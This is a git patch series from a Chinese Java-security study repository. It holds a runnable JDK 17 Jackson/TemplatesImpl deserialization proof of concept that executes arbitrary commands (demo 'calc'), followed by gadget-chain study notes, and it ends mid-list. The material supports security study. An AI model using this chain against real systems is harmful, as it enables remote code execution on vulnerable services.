`private` 限制,反射 访问类的私有字段或构造函数。但在 JDK 17及以上里,即使你用 `setAccessible(true)` ,也会被 `InaccessibleObjectException` 拦住,除非你在 `JVM` 启动时手动加 `-add-opens` 参数开放 模块或者使用` Java Agent/Instrumentation` 来打破封装。 + + + +因此,jdk17及以上会进行模块检测导致我们无法直接利用 `getOutputProperties` 。 那么现在最关键的问题,就是如何在jdk高版本之中利用 `getOutputProperties` + + + +###### JdkDynamicAopProxy动态代理TemplatesImpl + +在前面的《随机性导致利用失败》中用到一个trick:借助动态代理使用`InvocationHandler`创建`javax.xml.transform.Templates`代理对象,并在`InvocationHandler#invoke`中调用的`TemplatesImpl.getOutputProperties`方法,其中用到的`InvocationHandler`为`org.springframework.aop.framework.JdkDynamicAopProxy` + +**查看高版本jdk的 `module-info.java` 描述,可以发现`javax.xml.transform`是`exports`的,因此。直接传入 `TemplatesImpl` 对象的话,`com.sun.org.apache.xalan.internal.xsltc.trax` 没有 export 给外部,所以会出现报错。但是经过`JdkDynamicAopProxy` 代理之后,对外暴露的接口是 `javax.xml.transform.Templates`可以绕过模块化强封装** + + + +在这里需要注意一个很重要的点,在以往我们利用`TemplatesImpl` 的时候,被利用的目标都需要继承 `AbstractTranslet` ,但在高版本下肯定是不行的,因为其在别的包中默认不可访问,必然涉及到模块化的检测导致报错 + +###### TemplatesImpl恶意类真的必须继承AbstractTranslet? + +> - `_transletIndex`:表示哪个 `_bytecodes` 的索引对应“主 translet”类(即执行转换逻辑的那个类);当 `_transletIndex < 0` 时通常表示没有可执行的 translet。 +> - `_auxClasses`:一个容器(`HashMap` / `Hashtable` 等,根据 JDK 与实现不同),用于存放“辅助类”字节码或已经被定义的辅助类引用。 + +其实不然,`AbstractTranslet`类通过`_transletIndex`来限制执⾏,但 `_transletIndex` 没有被标记为 `transient` 是能参与序列化过程的,可以直接通过反射来绕过这个限制。 + + +当类不继承 `AbstractTranslet` 时,会向 `_auxClasses` 中 `put` 数据,所以需要保证`_auxClasses` 不为空。 + + +寻找实例化 `_auxClasses` 的地方,发现在前⾯有⼀个判断,当 `classCount` ⼤于 1 时,即 `_bytecodes` 传⼊多个类时会将 `_auxClasses` 赋值为 `HashMap`。 + +最终构造的`TemplatesImpl`恶意类如下: + +```java +ClassPool pool = ClassPool.getDefault(); +CtClass clazzFoo = pool.makeClass("abu"); +byte[] abu = clazzFoo.toBytecode(); +// 满⾜条件 1. classCount也就是_bytecodes的数量⼤于1 2. _transletIndex >= 0可去掉 AbstractTranslet +Templates templates = TemplatesImpl.class.newInstance(); +setValue(templates, "_bytecodes", new byte[][]{genPayload(cmd),abu}); +setValue(templates, "_name", "1"); +setValue(templates,"_transletIndex",0); +return templates; +``` + +最终可在高版本jdk中直接rce的poc如下,下面是jdk17中的测试: + +```java +import com.fasterxml.jackson.databind.node.POJONode; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; +import javassist.CtMethod; +import org.springframework.aop.framework.AdvisedSupport; + +import javax.swing.undo.UndoManager; +import javax.xml.transform.Templates; +import java.io.*; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.Base64; +import java.util.Vector; + +//java9以上 有module限制 生成序列化时需加上--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens=java.desktop/javax.swing.event=ALL-UNNAMED +//链子入口EventListenerList -> UndoManager -> POJONode  -> +public class jackson_rce { +    public static void main(String[] args) throws Exception{ + +        POJONode pojoNode = new POJONode(makeTemplatesImplAopProxy()); +        javax.swing.event.EventListenerList list = new javax.swing.event.EventListenerList(); +        UndoManager manager = new UndoManager(); +        Vector vector = (Vector) getFieldValue(manager.getClass(),manager, "edits"); +        vector.add(pojoNode); +        setValue(list, "listenerList", new Object[]{InternalError.class, manager}); +        System.out.println(serialize(list)); +        unserialize("ser.bin"); +    } + +    public static void setValue(Object obj, String name, Object value) throws Exception{ +        Field field = obj.getClass().getDeclaredField(name); +        field.setAccessible(true); +        field.set(obj, value); +    } + + +    public static String serialize(Object o) throws IOException { +        ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("ser.bin")); +        os.writeObject(o); +        ByteArrayOutputStream baos = new ByteArrayOutputStream(); +        ObjectOutputStream oos = new ObjectOutputStream(baos); +        oos.writeObject(o); +        oos.close(); + +        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); +        System.out.println(base64String.length()); +        return base64String; +    } +    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { +        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); +        Object obj = ois.readObject(); +        return obj; +    } +    public static byte[] genPayload(String cmd) throws Exception { +        ClassPool pool = ClassPool.getDefault(); +        CtClass clazz = pool.makeClass("a"); +        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); +        constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");"); +        clazz.addConstructor(constructor); +        clazz.getClassFile().setMajorVersion(52); +        return clazz.toBytecode(); +    } +    public static Templates makeTemplatesImpl(String cmd) throws Exception { +        ClassPool pool = ClassPool.getDefault(); +        CtClass clazzFoo = pool.makeClass("abu"); +        byte[] abu = clazzFoo.toBytecode(); +        // 满⾜条件 1. classCount也就是_bytecodes的数量⼤于1 2. _transletIndex >= 0可去掉 AbstractTranslet +        Templates templates = TemplatesImpl.class.newInstance(); +        setValue(templates, "_bytecodes", new byte[][]{genPayload(cmd),abu}); +        setValue(templates, "_name", "1"); +        setValue(templates,"_transletIndex",0); +        return templates; +    } +    public static Object makeTemplatesImplAopProxy() throws Exception { +        Templates templates = makeTemplatesImpl("calc"); +        AdvisedSupport advisedSupport = new AdvisedSupport(); +        advisedSupport.setTarget(templates); +        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); +        constructor.setAccessible(true); +        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); +        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); +        return proxy; +    } +    public static Object getFieldValue(Class clazz, Object obj, String fieldName) throws Exception { +        try { +            Field field = clazz.getDeclaredField(fieldName); +            if ( field != null ) +                field.setAccessible(true); +            else if ( clazz.getSuperclass() != null ) +                field = (Field) getFieldValue(clazz.getSuperclass(), obj, fieldName); + +            return field.get(obj); +        } +        catch ( NoSuchFieldException e ) { +            if ( !clazz.getSuperclass().equals(Object.class) ) { +                return getFieldValue(clazz.getSuperclass(),obj, fieldName); +            } +            throw e; +        } +    } +} +``` + +生成序列化时候需要开启 + +``` +--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens=java.desktop/javax.swing.event=ALL-UNNAMED +``` From cb764e21390927f1e15ab3b5aac6abffcb027d2a Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 17:34:26 +0800 Subject: [PATCH 15/32] =?UTF-8?q?Delete=202.=E5=8F=8D=E5=BA=8F=E5=88=97?= =?UTF-8?q?=E5=8C=96=E4=B8=93=E5=8C=BA/Java=E5=8E=9F=E7=94=9F=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96Jackson=E4=BE=9D=E8=B5=96=E5=BA=93Ga?= =?UTF-8?q?dget=E5=9C=A8=E9=AB=98=E7=89=88=E6=9C=ACJDK=E4=B8=8B=E7=9A=84?= =?UTF-8?q?=E5=88=A9=E7=94=A8/1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../1" | 1 - 1 file changed, 1 deletion(-) delete mode 100644 "2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" deleted file mode 100644 index 8b13789..0000000 --- "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/Java\345\216\237\347\224\237\345\217\215\345\272\217\345\210\227\345\214\226Jackson\344\276\235\350\265\226\345\272\223Gadget\345\234\250\351\253\230\347\211\210\346\234\254JDK\344\270\213\347\232\204\345\210\251\347\224\250/1" +++ /dev/null @@ -1 +0,0 @@ - From 6c4bf1a0aae7aac31795a2b2bb6c40458470f675 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Thu, 16 Oct 2025 17:45:03 +0800 Subject: [PATCH 16/32] Update README.md --- README.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 48ce35c..bd62fd7 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,6 @@ ## 2.反序列化 -很早前学了,后面补上,更多是说一点关键的东西,不会很详细,好吧这里再拓展成反序列化专区好了 如果想系统学习CC链、CB链的话这部分还是推荐p牛的[Java安全漫谈](https://github.com/phith0n/JavaThings),我只是简单写写便于自己复习而已(这部分看我下面的share并不适合新人,过了这么久看过网上很多文章还是觉得P牛写的更适合新人) https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE%B0/ @@ -137,7 +136,7 @@ https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE - [fastjson探测class/如何判断是fastjson、jackson、gson](https://github.com/safe6Sec/Fastjson) - [记一次 Fastjson Gadget 寻找](https://mp.weixin.qq.com/s/dJkZuf6Ho6EK71bbnXI0EA) -## 4.Weblogic专区(虽然也挖了一堆,暂时不想写) +## 4.Weblogic专区 - [T3协议学习](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0.md) - [CVE-2015-4852复现分析](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/CVE-2015-4852%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/CVE-2015-4852%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90.md) - [Weblogic使用ClassLoader和RMI来回显命令执行结果](https://xz.aliyun.com/t/7228) @@ -516,7 +515,7 @@ https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE ## 优质博客 -- [Y4tacker(自己的能不写吗)](https://y4tacker.github.io/) +- [Y4tacker](https://y4tacker.github.io/) - [三梦](https://threedr3am.github.io/) - [su18](https://su18.org/) - [landgrey](https://landgrey.me/) From 29f6e665e9b8b39e6730fc4924390663a3682762 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Tue, 21 Oct 2025 16:29:10 +0800 Subject: [PATCH 17/32] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index bd62fd7..0a946d8 100644 --- a/README.md +++ b/README.md @@ -3,6 +3,7 @@ # JavaSec 从Y4大佬那里Fork来自用的魔改笔记 +[基础知识库](https://byaaronluo.github.io/) ## 1.基础篇 From eec586ed1f11390dfe80abd07b5bee197c02d5ff Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Tue, 2 Dec 2025 16:14:43 +0800 Subject: [PATCH 18/32] =?UTF-8?q?Create=20=E5=AD=A6=E4=B9=A0=E6=9D=82?= =?UTF-8?q?=E8=AE=B0.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...5\246\344\271\240\346\235\202\350\256\260.md" | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 "0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" diff --git "a/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" "b/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" new file mode 100644 index 0000000..52a6080 --- /dev/null +++ "b/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" @@ -0,0 +1,16 @@ +# Listener 与 Filter、AOP 的区别 + +JavaWeb 中还有 Filter(过滤器)、AOP(面向切面编程),三者都能实现 “通用逻辑解耦”,但核心定位不同: + +| 组件 | 核心定位 | 触发时机 | 典型用途 | +| ------------ | --------------------------- | ------------------------------------------------------------ | -------------------------------- | +| **Listener** | 事件驱动(监听对象变化) | 域对象生命周期 / 属性变化时(如应用启动、会话创建) | 资源初始化、在线统计、全局配置 | +| **Filter** | 请求过滤(拦截请求 / 响应) | HTTP 请求到达 Servlet/Controller 前 / 后 | 登录校验、字符编码转换、接口限流 | +| **AOP** | 横切逻辑(环绕方法执行) | 方法执行前 / 后 / 异常时(如 Controller 方法、Service 方法) | 日志记录、事务管理、权限校验 | + +简单总结: + +- Listener:盯 “对象变化”(如应用、会话、请求的创建 / 销毁); +- Filter:盯 “请求流程”(如 HTTP 请求的拦截与处理); +- AOP:盯 “方法执行”(如业务方法的调用过程)。 + From 0ea3c1389f3c5e9fe92e0184397d980a2e3c8f06 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Tue, 2 Dec 2025 16:19:45 +0800 Subject: [PATCH 19/32] =?UTF-8?q?Update=20=E5=AD=A6=E4=B9=A0=E6=9D=82?= =?UTF-8?q?=E8=AE=B0.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...46\344\271\240\346\235\202\350\256\260.md" | 991 ++++++++++++++++++ 1 file changed, 991 insertions(+) diff --git "a/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" "b/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" index 52a6080..a8bc7fb 100644 --- "a/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" +++ "b/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" @@ -1,3 +1,994 @@ +# 反序列化学习 +## toString方法和 readObject方法 + +**1. `readObject` 的作用** + +- 这是 **Java 反序列化过程的入口**。 +- 当一个类实现了 `Serializable` 接口,并且定义了一个私有的 `readObject(ObjectInputStream in)` 方法时,Java 反序列化时会**优先调用这个方法**来恢复对象的状态。 +- 攻击者常常在这里构造“入口点”,因为它会在反序列化时被自动触发。 + +👉 换句话说: + +- **漏洞利用链的起点**通常是 `readObject`,因为它能在反序列化的时候执行任意逻辑(比如调用某个危险方法)。 + +**2. `toString` 的作用** + +- 这是对象转为字符串时调用的方法(如 `System.out.println(obj)`)。 +- 本身不会自动在反序列化过程中触发。 +- 但在一些 gadget chain(利用链)里,反序列化后,某个方法(比如 `hashCode`、`equals`、`compareTo`)内部可能会调用 `toString`,于是形成“跳板”来执行任意代码。 + +👉 换句话说: + +- **`toString` 是漏洞链中的“中间节点”**,常用来在链条里继续触发执行。 + +例子 + +**一、背景知识:反序列化漏洞链的本质** + +Java 反序列化漏洞的本质是: +**如果应用程序在反序列化不可信数据时,没有安全限制,攻击者可以构造一个对象图,触发一系列方法调用,最终执行恶意代码。** + +这个调用链的关键点: + +1. **入口点**:反序列化时会调用某些特定方法(比如 `readObject`、`readResolve`、`readExternal`)。 +2. **跳板点**:利用 JDK 或第三方库的对象结构,触发链条继续执行,比如调用 `equals`、`compareTo`、`toString`、`hashCode` 等。 +3. **执行点**:最终能执行命令或恶意逻辑(如 `Runtime.getRuntime().exec()`)。 + +`toString` 作为 **跳板点** 出现的原因: + +- 当容器(`HashMap`、`HashSet`、`TreeMap` 等)执行某些操作(如打印、日志、序列化、反序列化检查)时,会调用内部元素的 `toString()`。 +- 如果攻击者重写 `toString()`,可以在这个点执行任意代码。 + +**二、具体流程(结合示例)** + +假设我们使用 **`HashMap`** 作为利用链的中间节点: + +**1. 攻击者控制对象 `Evil`** + +- 这个类实现了 `Serializable`,所以可以被序列化/反序列化。 +- 攻击者在 `toString()` 中植入恶意代码。 + +``` +javaCopy codeclass Evil implements Serializable { + private String cmd; + + public Evil(String cmd) { + this.cmd = cmd; + } + + @Override + public String toString() { + System.out.println("[*] toString 被调用,执行命令:" + cmd); + // 模拟恶意操作,实际攻击中可能是: + // Runtime.getRuntime().exec(cmd); + return "Evil(cmd=" + cmd + ")"; + } +} +``` + +--- + +**2. 攻击者把 `Evil` 放到 `HashMap`** + +``` +javaCopy codeHashMap map = new HashMap<>(); +map.put(evil, "value"); +``` + +为什么要这么做? + +- **HashMap 的 `toString()` 方法会遍历 key 和 value**,调用它们的 `toString()`。 +- 当 `System.out.println(map)` 或日志框架打印 map 时,会触发 `Evil.toString()`。 + +--- + +**3. 序列化和反序列化** + +``` +javaCopy code// 序列化 +ByteArrayOutputStream bos = new ByteArrayOutputStream(); +ObjectOutputStream oos = new ObjectOutputStream(bos); +oos.writeObject(map); + +// 反序列化 +ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); +ObjectInputStream ois = new ObjectInputStream(bis); +HashMap map2 = (HashMap) ois.readObject(); +``` + +到这里,**反序列化本身还没有执行恶意代码**,因为我们只在 `toString()` 里放了逻辑。 + +--- + +**4. 触发条件** + +一旦应用执行以下操作(很常见): + +``` +javaCopy codeSystem.out.println(map2); +logger.info("Map content: {}", map2); +``` + +`HashMap.toString()` 会这样实现: + +``` +javaCopy codepublic String toString() { + Iterator> i = entrySet().iterator(); + if (! i.hasNext()) + return "{}"; + + StringBuilder sb = new StringBuilder(); + sb.append('{'); + for (;;) { + Map.Entry e = i.next(); + K key = e.getKey(); + V value = e.getValue(); + sb.append(key == this ? "(this Map)" : key); + sb.append('='); + sb.append(value == this ? "(this Map)" : value); + if (! i.hasNext()) + return sb.append('}').toString(); + sb.append(',').append(' '); + } +} +``` + +关键点: + +- `sb.append(key)` → 会调用 `key.toString()`。 +- `sb.append(value)` → 会调用 `value.toString()`。 + +如果 `key` 或 `value` 是 `Evil`,就会执行 `Evil.toString()` 里的恶意代码。 + +--- + +**5. 最终效果** + +输出: + +``` +scssCopy code[*] toString 被调用,执行命令:calc.exe +[*] 打印 map2: {Evil(cmd=calc.exe)=value} +``` + +在真实攻击场景,`toString()` 里会调用: + +``` +javaCopy code +Runtime.getRuntime().exec("calc.exe"); +``` + +结果就是 **命令执行**。 + +--- + +**三、利用链总结** + +- **入口**:反序列化(`readObject`)。 +- **中间跳板**:`HashMap.toString()`。 +- **执行点**:`Evil.toString()` → 恶意代码。 + +**调用链示意图** + +``` +scssCopy codeObjectInputStream.readObject() + └── HashMap.readObject() (恢复结构) + └── 用户代码打印 map + └── HashMap.toString() + └── Evil.toString() --> 执行 Runtime.getRuntime().exec() +``` + +--- + +**四、为什么这有价值?** + +- 在很多应用中,**日志打印**是非常常见的。 +- 攻击者只需让应用打印反序列化后的对象,就能触发漏洞。 +- 类似场景还有:`hashCode`、`compareTo`,也可能被利用。 + +谁把 `Evil` 放进 `HashMap`? + +答案是:**攻击者自己就能在序列化阶段构造好**。 + +原因是: + +- Java 的序列化机制会把对象图(包括对象本身及其引用的对象)完整地写进字节流。 +- 所以攻击者完全可以在本地写一个小程序,自己创建 `HashMap`,再把 `Evil` 对象放进去,然后序列化成二进制数据。 +- 生成好的 payload(序列化字节流)就是攻击载荷,攻击者把它发送给目标系统。 + +例如(攻击者本地执行): + +``` +javaCopy codeEvil evil = new Evil("calc.exe"); +HashMap map = new HashMap<>(); +map.put(evil, "value"); + +ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin")); +oos.writeObject(map); +``` + +得到的 `payload.bin` 就是带有 `HashMap` 的序列化数据。 + +--- + +🔹 2. 被攻击系统需要做什么? + +在目标系统中,**只要出现以下场景之一**,就能触发攻击: + +1. **入口:反序列化** + + ``` + javaCopy codeObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin")); + Object obj = ois.readObject(); + ``` + + 这里 `obj` 会恢复成一个 `HashMap`,里面包含了攻击者的 `Evil` 对象。 + +2. **触发点:使用或打印 `HashMap`** + + - 如果系统代码里有: + + ``` + javaCopy codeSystem.out.println(obj); + logger.info("接收到的数据: {}", obj); + ``` + + 就会调用到 `HashMap.toString()` → 进一步调用 `Evil.toString()` → 执行恶意代码。 + + - 如果系统没直接打印,也可能在日志框架、调试工具、异常处理等地方间接调用 `toString()`。 + +--- + +🔹 3. 攻击者 vs 系统的分工 + +- **攻击者的责任**: + - 构造 payload(序列化数据流),里面嵌套 `HashMap`,再把 `Evil` 放进去。 + - 发送 payload 给目标系统。 +- **目标系统的责任(漏洞点)**: + - 反序列化了攻击者提供的不可信数据。 + - 并且在后续逻辑中调用了 `toString()`(或其他跳板方法,比如 `hashCode`、`equals`)。 + +--- + +🔹 4. 类比理解 + +这就像: + +- 攻击者寄了一份“陷阱包裹”(payload),里面藏了个机关(`Evil`)。 +- 系统收包裹时(反序列化)照单全收,毫无检查。 +- 当系统想要“看一眼包裹里面写了什么”(调用 `toString()` 打印日志)时,机关被触发,命令就执行了。 + +我会给你一个**抽象的例子**,来说明 `Jackson` + `TemplatesImpl` 的反序列化调用链是如何串起来的,并标明关键类和方法。 +注意:我不会提供可以直接利用的恶意 JSON 或字节码,只会展示调用链上的**类名 + 方法名**,这样既能帮助你理解机制,又不会变成现成的攻击 payload。 + +--- + +## Jackson反序列化漏洞示例场景 + +- 应用中错误地启用了 Jackson 的 **多态反序列化**(`enableDefaultTyping`)。 +- 攻击者传入精心构造的 JSON,其中包含 `TemplatesImpl` 对象以及一个触发调用的 gadget(比如 `PriorityQueue`)。 +- 反序列化时,Jackson 实例化对象、设置字段,最终触发 `TemplatesImpl` 的危险方法,导致恶意字节码执行。 + +--- + +**典型调用链(示意)** + +``` +scssCopy codecom.fasterxml.jackson.databind.ObjectMapper.readValue() + | + v +com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize() + | + v +com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet() + | + v +com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.() / setField() + | + v +java.util.PriorityQueue.readObject() + | + v +java.util.PriorityQueue.heapify() + | + v +java.util.PriorityQueue.siftDown() + | + v +java.util.Comparator.compare() + | + v +org.apache.commons.collections.functors.InvokerTransformer.transform() <-- 触发点(常见 gadget)或者使用getOutputProperties() + | + v +com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer() + | + v +com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance() + | + v +com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses() + | + v +java.lang.ClassLoader.defineClass() + | + v +<恶意类的 static 块 / 构造函数被执行> + | + v +任意代码执行 (RCE) +``` + +--- + +**链条关键节点解释** + +1. **`ObjectMapper.readValue()`** + - 入口:应用调用 Jackson 解析 JSON。 + - 问题:启用了 Default Typing,允许 JSON 指定任意类型。 +2. **`BeanDeserializer.deserialize()`** + - Jackson 根据 JSON 创建对象实例并填充属性。 + - 这一步可以构造 `TemplatesImpl` 并写入 `_bytecodes`。 +3. **`PriorityQueue.readObject()` → `heapify()` → `siftDown()`** + - PriorityQueue 在反序列化时会重新排序,调用 `compare()` 方法。 + - 攻击者放入的比较器 / Transformer 在这里被调用。 +4. **`InvokerTransformer.transform()`** + - 常见 gadget,调用任意方法。 + - 被用来调用 `TemplatesImpl.newTransformer()`。 +5. **`TemplatesImpl.newTransformer()` → `getTransletInstance()` → `defineTransletClasses()`** + - 这里会加载 `_bytecodes` 并通过 `ClassLoader.defineClass()` 定义类。 + - 恶意类在加载时执行静态初始化块或构造器。 +6. **RCE** + - 恶意代码被执行,例如 `Runtime.getRuntime().exec("...")`。 + +--- + +**小结** + +- **危险点**:`TemplatesImpl` + Gadget(如 `PriorityQueue` + `InvokerTransformer`)。 + +- **触发路径**:Jackson → BeanDeserializer → 目标类(TemplatesImpl)→ Gadget 触发 → newTransformer → 字节码加载 → 恶意代码执行。 + +- 防护要点 + + : + + - 禁用 Jackson 默认多态 (`enableDefaultTyping`)。 + - 使用 **白名单反序列化策略**。 + - 避免引入包含已知 gadget 的库(如老版本 commons-collections)。 + - 升级 Jackson(新版本内置黑名单过滤)。 + +--- + +要不要我帮你画一个 **方法级时序图**(像 UML sequence diagram 一样),把 Jackson 反序列化调用到 TemplatesImpl 加载字节码的过程一步步串起来?这样比调用链更直观。 + +### getOutputProperties + +好 —— 下面我结合公开资料给你**具体说明 `TemplatesImpl#getOutputProperties()` 在利用链中的作用**,并列出典型的、经常出现在 PoC/ysoserial 等链子里的「类→方法」调用顺序。**我不会给出任何可直接利用的 payload 或字节码**,只是把调用逻辑和触发点明确化,方便你理解与防护。 + +--- + +**关键结论(先看要点)** + +- `TemplatesImpl#getOutputProperties()` 会**实例化一个 Transformer** 来读取输出属性;因此它会间接调用 `newTransformer()`/`getTransletInstance()`,从而**触发 `_bytecodes` 的类定义与类初始化**(即恶意字节码的加载与执行)。 +- 许多常见 gadget(例如 `BeanComparator`/`InvokerTransformer`、`PriorityQueue` 的比较流程等)会在反序列化/比较时调用 `getOutputProperties()` 或等价方法,从而把 `TemplatesImpl` 的类加载作为触发点。 + +--- + +**方法级调用链(以 `getOutputProperties()` 为触发点的常见链,按调用方向列出)** + +``` +scssCopy code(入口) Jackson/ObjectInputStream 反序列化 + ↓ +com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ←〔被反序列化并写入 _bytecodes 等字段〕 + ↓ TemplatesImpl.getOutputProperties() // JAXP Templates.getOutputProperties 实现 + 说明:为了得到 output properties,会实例化 Transformer(文档/实现明确这样做)。 + ↓ TemplatesImpl.newTransformer() + ↓ TemplatesImpl.getTransletInstance() + ↓ TemplatesImpl.defineTransletClasses() // 根据 _bytecodes 调用类加载相关逻辑 + ↓ java.lang.ClassLoader.defineClass(...) // JVM 定义类,随后执行 / 构造逻辑 + ↓ 恶意类的静态初始化或构造器执行 → 任意代码执行(RCE) +``` + +上面链条中任意一步若被其它 gadget(例如比较器、transformer)间接触发,就能在反序列化流程中被调用,从而完成触发。 + +--- + +**常见的「触发组合」示例(不含 payload,只列类/方法)** + +- 容器触发点(在反序列化时会调用比较/transform) + - `java.util.PriorityQueue.readObject()` → `heapify()` → `siftDown()` → 调用比较器的 `compare()`。攻击者可以把带有恶意行为的对象 / 比较器放入队列,触发比较时执行链。 +- 比较器 / Transformer gadget(常见于 ysoserial 等链) + - `org.apache.commons.collections.comparators.BeanComparator.compare()`(或使用 `BeansComparator`)→ 内部可能访问 bean 属性,从而触发 `TemplatesImpl.getOutputProperties()`。 + - `org.apache.commons.collections.functors.InvokerTransformer.transform()` → 通过反射调用任意方法(例如 `newTransformer()` / `getOutputProperties()`)。 +- **直接说明**:多个研究与漏洞报告都指出 `TemplatesImpl#getOutputProperties()` 被用作常见触发点(例如 ysoserial 的多个 gadget、某些 CVE 的利用链)。 + +--- + +**为什么 `getOutputProperties()` 会触发类加载(更详细的逻辑)** + +`TemplatesImpl#getOutputProperties()` 的 Javadoc/实现中写明:**“为了获得 output settings,需要实例化一个 translet(translet 即已编译的 XSLT 实现),所以会直接实例化一个 Transformer”**。实例化 Transformer 的实现路径会调用 `newTransformer()` → `getTransletInstance()` → `defineTransletClasses()`,后者会把 `_bytecodes` 转为 JVM 类(`defineClass`)并初始化类(执行静态初始化块 ``),因此攻击者把恶意字节码写入 `_bytecodes` 并在合适触发点调用 `getOutputProperties()` 就会导致恶意代码运行。 + +--- + +**典型链上出现的方法/类(汇总)** + +- `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()`(触发入口) +- `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()`(创建 Transformer) +- `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance()`(实例化 translet) +- `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses()`(定义类) +- 